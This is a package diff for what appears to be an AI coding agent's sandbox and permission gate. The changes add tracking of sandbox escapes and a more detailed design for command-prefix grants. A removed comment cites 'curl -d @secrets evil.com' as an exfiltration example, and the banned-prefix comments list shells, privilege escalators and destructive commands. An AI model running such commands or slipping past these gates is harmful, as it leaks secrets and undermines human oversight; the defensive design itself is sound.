@yagni-app/code-staging 1.1.1-staging.1340.1 → 1.1.1-staging.1347.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -37,6 +37,7 @@ import { registerGoCompareCommand } from "./pipeline/goCompareCommand.js";
37
37
  import { DEFAULT_PERMISSION_POLICY, createModeHolder, registerPermissionGate } from "./permission/gate.js";
38
38
  import { registerSandbox } from "./sandbox/session.js";
39
39
  import { sandboxAutoAllowDecision } from "./sandbox/bash.js";
40
+ import { createEscapeTally } from "./sandbox/escapeTally.js";
40
41
  import { registerTelemetry as defaultRegisterTelemetry } from "./telemetry/register.js";
41
42
  import { loadHooksConfig, makeHookRunner, registerHooks } from "./hooks.js";
42
43
  import { loadPermissionRules } from "./permissionRules/loadConfig.js";
@@ -452,7 +453,42 @@ export async function registerYagni(pi, deps = {}) {
452
453
  if (event?.toolCallId)
453
454
  toolOutcomes.toolEnd(event.toolCallId, { isError: !!event.isError, result: event.result });
454
455
  });
455
- pi.on("session_shutdown", async () => {
456
+ pi.on("session_shutdown", async (_event, ctx) => {
457
+ // Session-end visibility: the one-line escape summary (only when the
458
+ // session actually escaped — zero-escape sessions stay silent) via notify
459
+ // (RPC-forwarded — protocol-visible for e2e) plus the summary sink event
460
+ // for the product metric.
461
+ const summary = escapeTally.summaryLine();
462
+ if (summary) {
463
+ try {
464
+ ctx?.ui?.notify?.(summary, "info");
465
+ }
466
+ catch { /* fail-soft */ }
467
+ logEvent({
468
+ source: "sandbox",
469
+ level: "info",
470
+ event: "sandbox_escape_summary",
471
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
472
+ fields: {
473
+ count: escapeTally.count(),
474
+ // Command-family labels are command content — debug tier only,
475
+ // same contract as the sandbox_escape line and gate_outcome's
476
+ // commandPrefix. The always-on info tier carries the count alone.
477
+ ...(isDebug(env)
478
+ ? { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) }
479
+ : {}),
480
+ },
481
+ });
482
+ if (isDebug(env)) {
483
+ logEvent({
484
+ source: "sandbox",
485
+ level: "debug",
486
+ event: "sandbox_escape_summary",
487
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
488
+ fields: { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) },
489
+ });
490
+ }
491
+ }
456
492
  await toolOutcomes.close();
457
493
  });
458
494
  const footerInvalidateHandle = { invalidateGit: () => { }, requestRender: () => { } };
@@ -535,6 +571,10 @@ export async function registerYagni(pi, deps = {}) {
535
571
  // session lifecycle (init/reset, fail-soft unless failIfUnavailable).
536
572
  // Null on unsupported platforms — stock bash stays. Shares the loaded
537
573
  // permission rules so sandbox config and the gate read one rule source.
574
+ // The session escape tally — interception-time counts by command family,
575
+ // shared by the gate (record), the /sandbox panel (breakdown), and the
576
+ // session-end summary line.
577
+ const escapeTally = createEscapeTally();
538
578
  const sandboxHandle = evalMode
539
579
  ? null
540
580
  : registerSandbox(pi, {
@@ -542,6 +582,7 @@ export async function registerYagni(pi, deps = {}) {
542
582
  env,
543
583
  hasUI: (ctx) => ctx.hasUI,
544
584
  onShellResolutionRetry: (outcome) => telemetry.sandboxShellResolutionRetry(outcome),
585
+ escapeBreakdown: () => escapeTally.breakdown(),
545
586
  // Anchors project-protected paths (.yagni-code + its config.json in
546
587
  // denyWrite) and project-sourced permission rules to the repo the
547
588
  // session runs in — same root the gate uses for its rule anchoring.
@@ -553,6 +594,37 @@ export async function registerYagni(pi, deps = {}) {
553
594
  ...(sandboxHandle
554
595
  ? {
555
596
  sandboxAutoAllow: (toolName, params) => sandboxAutoAllowDecision(toolName, params, sandboxHandle.manager, sandboxHandle.settings()),
597
+ // The escape predicate: this call carries dangerouslyDisableSandbox
598
+ // AND will actually run unsandboxed (sandbox initialized + the
599
+ // setting allows unsandboxed commands). Strict mode (allow=false)
600
+ // ignores the flag entirely — the command runs wrapped, no ask.
601
+ sandboxEscape: (toolName, params) => toolName === "bash" &&
602
+ sandboxHandle.manager.initialized &&
603
+ params.dangerouslyDisableSandbox === true &&
604
+ sandboxHandle.settings().allowUnsandboxedCommands !== false,
605
+ // Escape tally: interception-time, content-free on the always-on
606
+ // info tier (the command prefix is command content — it rides the
607
+ // debug tier only, same contract as logGateOutcomeTrail; the OTel
608
+ // counter is outcome-tagged only).
609
+ onSandboxEscape: (prefix) => {
610
+ escapeTally.record(prefix);
611
+ logEvent({
612
+ source: "sandbox",
613
+ level: "info",
614
+ event: "sandbox_escape",
615
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
616
+ fields: {},
617
+ });
618
+ if (isDebug(env)) {
619
+ logEvent({
620
+ source: "sandbox",
621
+ level: "debug",
622
+ event: "sandbox_escape",
623
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
624
+ fields: { prefix },
625
+ });
626
+ }
627
+ },
556
628
  }
557
629
  : {}),
558
630
  modeHolder,
@@ -675,6 +747,12 @@ export async function registerYagni(pi, deps = {}) {
675
747
  // never touches the session.
676
748
  onGuardianEvent: (ev) => {
677
749
  logGateOutcomeTrail(ev, env);
750
+ // Escape-flow outcomes feed the product metric (one counter add per
751
+ // unsandboxed-retry attempt, tagged by outcome only — classes/prefixes
752
+ // stay local per the telemetry cardinality contract).
753
+ if (ev.outcome.startsWith("escape_")) {
754
+ telemetry.sandboxEscapeRetry(ev.outcome);
755
+ }
678
756
  // Opt-in storage stream (YAG-510): tier decides what leaves the machine.
679
757
  if (guardianStorageTier === "off" || evalMode)
680
758
  return;
@@ -27,7 +27,8 @@
27
27
  */
28
28
  import { type ExecPolicy } from "./execPolicy.js";
29
29
  export interface ApprovedPrefixGrant {
30
- /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
30
+ /** Ordered command tokens the grant covers, e.g. ["git", "push"].
31
+ * Empty when `literal` is set (the string-prefix rungs). */
31
32
  pattern: string[];
32
33
  /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
33
34
  repoKey: string;
@@ -35,19 +36,72 @@ export interface ApprovedPrefixGrant {
35
36
  addedAt: string;
36
37
  /** The cwd where the grant was made (provenance for a future revoke UI). */
37
38
  cwd: string;
39
+ /**
40
+ * String-prefix rung (Claude's suggestionForExactCommand): the stable
41
+ * prefix before a heredoc operator, the first line of a multiline command,
42
+ * or the full literal command — matched with startsWith against the RAW
43
+ * command (not the canonical form; these rungs exist precisely because
44
+ * the decorated shape can't be token-derived). A literal grant is the
45
+ * fallback when no token prefix is derivable, and the editable field is
46
+ * how the user narrows it. Empty string on token-pattern grants.
47
+ */
48
+ literal?: string;
38
49
  }
39
50
  export interface ApprovedPrefixFile {
40
51
  version: 1;
41
52
  grants: ApprovedPrefixGrant[];
42
53
  }
43
54
  /**
44
- * Prefixes that must never be grantable. Interpreters and wrappers would
45
- * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
46
- * network/egress tools would grant permanent unreviewed exfiltration paths
47
- * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
48
- * multi-subcommand tools are banned via derivation (never offered).
55
+ * Prefixes that must never be grantable (Claude Code's BARE_SHELL_PREFIXES
56
+ * line, plus the destruction family we keep fenced beyond it).
57
+ *
58
+ * Claude bans only arbitrary-execution words: shells, wrappers that exec
59
+ * their args (env, xargs, nice, stdbuf, nohup, timeout, time), and
60
+ * privilege escalators (sudo, doas, pkexec). Interpreters (node, python3)
61
+ * and egress tools (curl, psql, ssh) are deliberately grantable there — the
62
+ * human approving the rule IS the security control, and the editable prefix
63
+ * field lets them narrow it. We adopt that stance verbatim.
64
+ *
65
+ * Our one widening of Claude's list: the destruction family (rm, kill,
66
+ * chmod, chown, dd, mkfs, truncate). A standing grant there has no
67
+ * legitimate use, the fence is free, and the exec-policy forbidden band
68
+ * would block the dangerous shapes anyway — this keeps a user from
69
+ * accidentally widening a grant INTO the neighborhood.
49
70
  */
50
71
  export declare const BANNED_PREFIXES: Set<string>;
72
+ /**
73
+ * The single normalization both derivation AND matching run on — the
74
+ * derive/match disagreement is the root cause of dead-rule ask loops
75
+ * (Claude's GH#11380). Decoration that never changes what runs is stripped:
76
+ *
77
+ * - full-line comments
78
+ * - safe env prefixes (SAFE_ENV_VARS, fixed-point) — `NODE_ENV=test pnpm test`
79
+ * canonicalizes to `pnpm test`; a NON-safe var (RUN=… ) stops stripping
80
+ * so matching fails and the command asks (correct: the env changes
81
+ * behavior in ways the safe-list can't vouch for)
82
+ * - safe wrappers (timeout/time/nice/nohup, fixed-point)
83
+ * - safe redirects ONLY: fd merges (`2>&1`) and /dev/null discards.
84
+ * Target-bearing redirects (`> out.log`) never strip — we lack Claude's
85
+ * redirect-target path validation, and an escaped command runs with the
86
+ * user's full authority, so a grant must never silently cover a write to
87
+ * an arbitrary path.
88
+ *
89
+ * Compound commands pass through untouched; segments are handled explicitly
90
+ * (never canonicalized as one string).
91
+ */
92
+ export declare function canonicalizeForGrants(command: string): string;
93
+ /**
94
+ * Derive the grantable token prefix for a single canonical command, Claude's
95
+ * getSimpleCommandPrefix → getFirstWordPrefix ladder:
96
+ * 1. [tool, subcommand] for multi-subcommand tools (`git push`, `pnpm test`)
97
+ * 2. [first-word] for any other clean command word (`psql`, `node`, `gh` on
98
+ * flag-first shapes) — Claude's first-word fallback; the editable field
99
+ * lets the user narrow it.
100
+ * Returns null when nothing token-shaped is grantable (banned word, dirty
101
+ * shape, path-prefixed). The literal rungs (heredoc prefix, first line, full
102
+ * command) live in deriveRememberSeeds — they are string prefixes, not
103
+ * token patterns, and ride the grant as a `literal` field.
104
+ */
51
105
  export declare function derivePrefix(command: string): string[] | null;
52
106
  /**
53
107
  * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
@@ -60,8 +114,10 @@ export declare function derivePrefix(command: string): string[] | null;
60
114
  export declare function storagePrefix(command: string): string;
61
115
  /**
62
116
  * Does `command` fall under one of the session's grants? Pure. The caller
63
- * (permission gate) must only consult this AFTER classifyCommand returned
64
- * "prompt" — grants never override forbidden.
117
+ * (permission gate) must only consult this AFTER the exec policy ran —
118
+ * grants never override forbidden. Token grants match on the CANONICAL
119
+ * form (same normalization derivation ran on — the anti-dead-rule
120
+ * invariant); literal grants match with startsWith against the raw command.
65
121
  */
66
122
  export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
67
123
  /**
@@ -73,6 +129,64 @@ export declare function matchesGrant(command: string, grants: readonly ApprovedP
73
129
  export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
74
130
  /** Human label for the remember option: "git push …". */
75
131
  export declare function describePrefix(pattern: string[]): string;
132
+ /** Claude's suggestionForExactCommand: stable prefix before a heredoc
133
+ * operator — heredoc bodies change every invocation, so the exact command
134
+ * would be a dead rule; the pre-<< prefix is the remember unit.
135
+ *
136
+ * OUR refinement over Claude: when the pre-<< prefix carries an OUTPUT
137
+ * REDIRECT (`cat > "$S/r1.txt" <<EOF`), the redirect TARGET varies between
138
+ * invocations as much as the body does (r1.txt, r2.txt, …) — so the prefix
139
+ * cuts at the redirect operator. `cat >` seeds `…\ncat`; a redirect-free
140
+ * heredoc (`gh api … <<EOF`) keeps Claude's full pre-<< prefix. The
141
+ * editable field is the narrowing control on top of either. */
142
+ export declare function heredocPrefix(command: string): string | null;
143
+ /**
144
+ * The FULL remember ladder for one ask, in order (all five rungs — a shape
145
+ * never asks twice):
146
+ * 1. token patterns for every derivable uncovered segment (compound:
147
+ * multi-grant, atomically)
148
+ * 2. heredoc prefix (stable string before <<)
149
+ * 3. first line of a multiline command
150
+ * 4. the full literal command (Claude's editable-field final fallback; the
151
+ * user narrows it in the dialog)
152
+ * Returns grants WITHOUT repoKey/addedAt/cwd (the gate fills them in) —
153
+ * seeds are hypothetical until the user picks remember.
154
+ */
155
+ export declare function deriveRememberSeeds(command: string, uncoveredCanonicalSegments: readonly string[], repoKey?: string): {
156
+ seeds: ApprovedPrefixGrant[];
157
+ description: string;
158
+ } | null;
159
+ /** The fencing check applied to raw command text: canonicalize + tokenize +
160
+ * the same refspec/flag dangers matchesGrant fences. Exported for tests. */
161
+ export declare function isFencedPushLiteral(command: string): boolean;
162
+ /**
163
+ * Grant-time validation for the ESCAPE flow: the same self-match proof as
164
+ * validateGrant, minus the classification==="prompt" requirement — escaped
165
+ * commands are exactly the ones the exec policy classifies "allow" (that's
166
+ * the bug this flow fixes), so requiring prompt would never offer remember.
167
+ * The forbidden band is still enforced by the caller BEFORE the ask fires,
168
+ * so a forbidden command never reaches this function's seeds either way.
169
+ */
170
+ export declare function validateGrantForEscape(command: string, policy: ExecPolicy, repoKey: string): {
171
+ seeds: ApprovedPrefixGrant[];
172
+ description: string;
173
+ } | null;
174
+ /**
175
+ * Compound evaluation for the escape flow (Claude's subcommandResults
176
+ * analog): every segment must be covered — by a grant, by exec-policy
177
+ * `allow` (read-only — their isReadOnly analog), or be a pure env-assignment
178
+ * no-op — for the compound to run without asking. `forbidden` propagates:
179
+ * the whole compound blocks regardless of what else it contains.
180
+ */
181
+ export interface CompoundSegmentVerdict {
182
+ segment: string;
183
+ kind: "covered" | "assignment" | "uncovered" | "forbidden" | "classify-error";
184
+ }
185
+ export declare function evaluateCompoundForEscape(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string, policy: ExecPolicy): {
186
+ forbidden: boolean;
187
+ uncovered: string[];
188
+ segments: CompoundSegmentVerdict[];
189
+ };
76
190
  /**
77
191
  * Could {@link derivePrefix} ever have produced this pattern? The persisted
78
192
  * file is plain JSON on disk, so a row that derivation could not have written